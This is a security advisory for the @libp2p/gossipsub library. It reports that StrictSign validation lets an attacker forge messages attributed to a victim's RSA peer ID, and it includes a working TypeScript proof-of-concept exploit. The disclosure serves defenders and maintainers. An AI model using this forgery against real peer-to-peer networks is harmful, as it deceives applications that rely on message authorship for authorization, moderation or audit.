GHSA-c3gv-825q-fvmp

### Summary `@libp2p/gossipsub` `StrictSign` validation does not bind a supplied message public key to the claimed `from` peer ID when `from` is an RSA-style peer ID that does not inline its public key. An attacker can set `from` to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in `msg.key`, and have the message accepted as a valid signed message from the victim.

### Details The vulnerable code is in `packages/gossipsub/src/utils/buildRawMessage.ts` inside `validateToRawMessage`.

When `msg.key` is present:

```ts publicKey = publicKeyFromProtobuf(msg.key) if (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) { return { valid: false, error: ValidateError.InvalidPeerId } } ```

For RSA peer IDs parsed from the wire `from` multihash, `fromPeerId.publicKey` is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-`from` comparison is skipped. The code then verifies the signature with the attacker-supplied `msg.key` and returns a signed message whose `from` is the victim RSA peer ID.

The missing invariant is:

```ts peerIdFromPublicKey(publicKey).equals(fromPeerId) ```

This check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.

`StrictSign` is the default gossipsub signature policy in `packages/gossipsub/src/gossipsub.ts`:

```ts this.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign ```

Version tracing:

- `git blame` points the vulnerable `validateToRawMessage` block to `9a9b11fd44` (`fix!: remove pubsub (#3291)`), which introduced `packages/gossipsub/src/utils/buildRawMessage.ts`. - That commit's `packages/gossipsub/package.json` still reports `14.1.1`, but the first `gossipsub-v*` release tag in this checkout that contains the vulnerable block is `gossipsub-v15.0.0`.

### PoC

```ts // TypeScript ESM PoC. import { strict as assert } from 'node:assert' import { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys' import { StrictSign } from '@libp2p/gossipsub' import { peerIdFromPrivateKey } from '@libp2p/peer-id' import { concat as uint8ArrayConcat } from 'uint8arrays/concat' import { fromString as uint8ArrayFromString } from 'uint8arrays/from-string' import { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js' import { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'

const label = 'gossipsub StrictSign RSA author spoof'

function seqno (n: bigint): Uint8Array { const out = new Uint8Array(8) new DataView(out.buffer).setBigUint64(0, n, false) return out }

async function main (): Promise<void> { const attackerKey = await generateKeyPair('Ed25519') const victimRsaKey = await generateKeyPair('RSA', 512) const victim = peerIdFromPrivateKey(victimRsaKey)

const msg: RPC.Message = { from: victim.toMultihash().bytes, data: uint8ArrayFromString('forged as victim RSA peer'), seqno: seqno(1n), topic: 'poc-topic', signature: undefined, key: undefined }

// Sign the protobuf message that claims victim in `from`, using attacker's key. const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)]) msg.signature = await attackerKey.sign(bytes) msg.key = publicKeyToProtobuf(attackerKey.publicKey)

const result = await validateToRawMessage(StrictSign, msg)

if (!result.valid) { throw new Error(`expected forged message to validate, got ${result.error}`) }

assert.equal(result.message.type, 'signed') assert.equal(result.message.from.equals(victim), true) assert.equal(result.message.key.equals(attackerKey.publicKey), true)

console.log(`${label} reproduced`) console.log(`claimed victim RSA author: ${victim}`) console.log('signature verified with attacker-supplied key') }

main().catch(err => { console.error(err) process.exitCode = 1 }) ``` Expected output:

```text gossipsub StrictSign RSA author spoof reproduced claimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f signature verified with attacker-supplied key ```

### Impact Attackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default `StrictSign` policy. Applications that trust `message.from` in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.

The forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.